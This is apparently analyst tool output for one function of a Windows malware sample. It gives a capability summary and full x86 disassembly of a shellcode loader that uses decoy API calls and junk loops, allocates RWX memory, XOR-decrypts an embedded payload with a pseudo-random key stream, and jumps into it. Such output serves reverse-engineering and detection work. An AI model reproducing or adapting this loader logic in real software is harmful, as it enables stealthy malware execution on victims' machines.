Function at 0x401650
Capabilities:
Access the windows event log
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x910
push ebx
push esi
push edi
push 0x3b42fa0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8074d
jne 0x401724
mov eax, 0x420c58
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401680
sub eax, edx
cmp eax, 0x97568
jne 0x401724
push 0x420c58
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x5903c
jne 0x401724
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
lea edi, [ebp - 0x110]
call fcn.00401f10
lea eax, [ebp - 0x100]
push eax
call fcn.00401a00
sub esp, 8
mov eax, esp
mov dword [eax], 0x346dc5d6
mov dword [eax + 4], 0x406d6780
call fcn.00405c70
fstp st(0)
add esp, 8
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
mov eax, edi
call fcn.00401940
mov edi, dword [sym.imp.USER32.dll_SetMenuInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor esi, esi
lea ecx, [ebp - 0x58]
push ecx
push 0
call edi
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
call ebx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
cmp esi, 0x26538
jle 0x401783
cmp dword [ebp - 0x44], 0x170b5f6b
je 0x401783
cmp dword [ebp - 0xc], 0xdf790d0
je 0x401783
cmp dword [ebp - 0x10], 0x7040c746
jne 0x40178e
inc esi
cmp esi, 0x5d91e1a1
jl 0x401732
jmp 0x40179e
push 0
push 0
lea eax, [ebp - 0x68]
push eax
push 0
call dword [sym.imp.USER32.dll_DrawEdge]
mov ecx, dword [0x41fc10]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [0x3b42f9c], ecx
add dword [0x3b42f9c], 0xa2554
xor esi, esi
cmp esi, 0x122
jne 0x4017e3
mov edx, dword [0x3b42f9c]
push 0x40
push 0x1000
push edx
push 0
call edi
mov dword [0x46db50], eax
jmp 0x4017eb
cmp esi, 0x26c0
jge 0x4017ef
push 0
call ebx
inc esi
cmp esi, 0x2d0
jl 0x4017c2
mov eax, dword [0x41fc04]
mov ecx, dword [0x3b42f9c]
mov dword [0x4b38f98], eax
xor eax, eax
test ecx, ecx
je 0x401831
mov edi, edi
mov edx, dword [0x4b38f98]
mov cl, byte [edx + eax + 0xa2554]
mov edx, dword [0x46db50]
mov byte [edx + eax], cl
mov ecx, dword [0x3b42f9c]
inc eax
cmp eax, ecx
jb 0x401810
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
mov ebx, dword [sym.imp.KERNEL32.dll_PulseEvent]
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
xor esi, esi
cmp esi, 0xbc5f92
jle 0x401856
push 0
call ebx
cmp esi, 0x2c78a0
jne 0x401870
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x46db54], eax
jmp 0x401888
cmp esi, 0x26f9
jge 0x401888
push 0
lea edx, [ebp - 0x910]
push edx
push str.De_bemojeyuze_bazobupuyobumetelawefibu_diwuza_hibeligacakujakaco
call edi
inc esi
cmp esi, 0x7f5110
jl 0x40184a
mov ebx, dword [0x3b42f9c]
mov edi, dword [0x46db50]
mov esi, dword [0x41f800]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, esi
xor esi, esi
mov dword [0x46db4c], eax
test ebx, ebx
jle 0x401905
jmp 0x4018c5
mov eax, dword [0x46db4c]
cmp esi, 0xe37
jge 0x4018de
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov eax, dword [0x46db4c]
imul eax, eax, 0x343fd
push 0
add eax, 0x269ec3
push 0
mov dword [0x46db4c], eax
call dword [sym.imp.USER32.dll_SetWindowsHookW]
mov al, byte [0x46db4e]
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x4018c0
nop
add dword [0x3b42f9c], 0x388b2aff
call dword [0x46db50]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx]
pop edi
pop esi
mov dword [edx + 4], 1
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10